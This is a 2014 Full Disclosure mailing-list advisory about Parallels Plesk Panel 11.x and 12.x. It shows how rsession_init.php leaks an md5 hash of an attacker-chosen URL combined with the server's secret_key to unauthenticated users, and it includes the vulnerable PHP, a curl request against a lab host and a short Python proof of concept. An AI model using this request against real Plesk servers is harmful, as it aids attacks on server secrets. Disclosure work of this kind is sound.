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Date: Tue, 22 Apr 2014 12:39:07 +0200
From: Tim Rots <timrots.nl.throwaway@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Parallels Plesk Panel 12.x & 11.x /etc/psa/private/secret_key
	leakage

While auditing the source code for Parallels Plesk Panel 12.x on Linux I
noticed the following feature that leads to leakage of the
'/etc/psa/private/secret_key'-file in md5 format to non-authenticated users.

Parallels responded that the 16byte 'secret_key' should provide sufficient
entropy for this not being an issue.
Soooo... even if I can control part of the salt to calculate the md5sum..?
See for yourself.


Code where the bug resides in:
----
/opt/psa/admin/htdocs/enterprise/rsession_init.php

 31 if ($failureRedirectUrl = get_gpc('failure_redirect_url')) {
 36     hspc_setopt('failure_redirect_url', $failureRedirectUrl);
>37     hspc_setopt('failure_redirect_url_sign', md5($failureRedirectUrl .
Plesk_Base_Utils_String::getCryptKey()));
 38 }
...
..
/opt/psa/admin/plib/Plesk/Base/Utils/String.php

363     final public static function getCryptKey() {
...
369             if (Os::UNIX) {
370                 self::$_cryptKey = @file_get_contents(ENCRYPT_KEY_FILE);
..
380         return self::$_cryptKey;
381     }
...
..
/opt/psa/admin/plib/compile_time_defaults.php

12 define('ENCRYPT_KEY_FILE', "/etc/psa/private/secret_key");
----


Summary of bug:

- user sends 1 HTTP requst to rsession_init.php on the remote server which
contains an invalid PHPSESSIONID and a redirect URL for when the login
fails.
- script sets two cookies which contains the following values:
failure_redirect_url = $failureRedirectUrl (supplied in URL)
failure_redirect_url_sign = md5($failureRedirectUrl + contents
/etc/psa/private/secret_key)

[+] Annoying redirect loop if localhost is specified as url to to redirect
to when login fails until cookies are cleared.


PoC:
root@...ian7:~# #see /usr/local/psa/admin/sbin/encrypt_keygen for details
on key generation routine
root@...ian7:~# dd if=/dev/urandom of=/etc/psa/private/secret_key bs=16
count=1
1+0 records in
1+0 records out
16 bytes (16 B) copied, 0.000183366 s, 87.3 kB/s

root@...ian7:~# hexdump -C /etc/psa/private/secret_key
00000000  99 51 17 9a c6 8c 6e bd  4a 75 98 73 e2 64 fa e4
 |.Q....n.Ju.s.d..|


$ curl -k -i -s "
https://debian7:8443/enterprise/rsession_init.php?PHPSESSID=000000000000000000000000000000000&failure_redirect_url=w00t"|awk
'/fail/ {print $2}'
.
..
...
failure_redirect_url=w00t;
failure_redirect_url_sign=03ba5675030c59bf66bbc2f4d30aec61;


root@...ian7:~# ./poc.py
03ba5675030c59bf66bbc2f4d30aec61

---poc.py---
#! /usr/bin/env python

import hashlib
import binascii

with open('/etc/psa/private/secret_key') as f:
whoops = hashlib.md5("w00t" +
binascii.unhexlify(f.read().encode('hex'))).hexdigest()
print whoops
------


In theory this bug will give you enough ammunition to calculate the
contents of the /etc/psa/private/secret_key as we have part of the salt,
and already know the outcome of a insecure hashing algorithm to match
against.
I'm glad nobody owns the amount of computing power which is required to
abuse this bug nowadays anyhow .. :']

Regards,

Tim Rots

The Netherlands

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